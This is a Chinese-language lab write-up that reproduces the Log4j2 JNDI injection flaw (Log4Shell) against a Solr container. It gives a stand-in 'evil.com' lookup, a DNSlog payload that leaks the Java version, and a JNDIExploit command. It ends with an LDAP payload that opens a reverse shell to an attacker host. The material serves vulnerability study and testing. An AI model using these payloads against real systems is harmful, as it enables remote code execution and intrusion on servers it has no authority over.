![网安区过年-Log4j2](https://img2022.cnblogs.com/blog/3038812/202211/3038812-20221118184025985-432151063.jpg)
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。
Log4j2-2021
🌊漏洞原理
- Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于
${jndi:ldap://evil.com/example}
的lookup用于进行JNDI注入,执行任意代码。
- 由于Log4j2 作为日志记录基础第三方库,被大量Java框架及应用使用,只要用到 Log4j2 进行日志输出且日志内容能被攻击者部分可控,即可能会受到漏洞攻击影响。因此,该漏洞也同时影响全球大量通用应用及组件
🌏环境搭建
docker-compose build && docker-compose up -d
![截图](http://ojbkbk.oss-cn-hangzhou.aliyuncs.com/img/4710484424142e8bf3fbaa8ba094aa05.png)
- 但是这里显示失败了,查看了一下发现之前的容器未删除,可能出现端口被占用的情况,所以这里销毁所有容器。
docker ps -aq
docker rm -f $(docker ps -aq)
![截图](http://ojbkbk.oss-cn-hangzhou.aliyuncs.com/img/b18f0cf4e8a511a5f3432a8cf59cdecf.png)
![截图](http://ojbkbk.oss-cn-hangzhou.aliyuncs.com/img/d820452a449623500662a65fa0730bcf.png)
🚀漏洞复现
- 在DNSlog平台请求一个dns域名:7jut3u.dnslog.cn。
![截图](http://ojbkbk.oss-cn-hangzhou.aliyuncs.com/img/2cc6fd1b4cb4836fee4e733c994ee622.png)
http://192.168.130.198:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.7jut3u.dnslog.cn}
![截图](http://ojbkbk.oss-cn-hangzhou.aliyuncs.com/img/13fd292894c97389d3d7215f605b67bc.png)
- 查看dnslog:可以看到显示了Java版本1.8.0_172,存在漏洞。
![截图](http://ojbkbk.oss-cn-hangzhou.aliyuncs.com/img/126b6be7fa74b5fd39e4e78f4d271a65.png)
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.137.1 -p 6666
![截图](http://ojbkbk.oss-cn-hangzhou.aliyuncs.com/img/9894aa1efb1eab42ec1a752b46951520.png)
![截图](http://ojbkbk.oss-cn-hangzhou.aliyuncs.com/img/323b00ac64b89e5c8ad7c62c0e99c97a.png)
![截图](http://ojbkbk.oss-cn-hangzhou.aliyuncs.com/img/c5e02fe9e058684b16e706d4e93bd447.png)
http://192.168.130.198:8983/solr/admin/cores?action=${jndi:ldap://192.168.137.1:1389/Basic/ReverseShell/192.168.130.184/9999}
![截图](http://ojbkbk.oss-cn-hangzhou.aliyuncs.com/img/f88198553261c0c521a317ef790475f2.png)
![截图](http://ojbkbk.oss-cn-hangzhou.aliyuncs.com/img/50a726eb10e4a577e44771b5659aef6e.png)
![截图](http://ojbkbk.oss-cn-hangzhou.aliyuncs.com/img/bc4c2429c42158b00dc8c0a2a8276b5a.png)
docker rm -f $(docker ps -aq)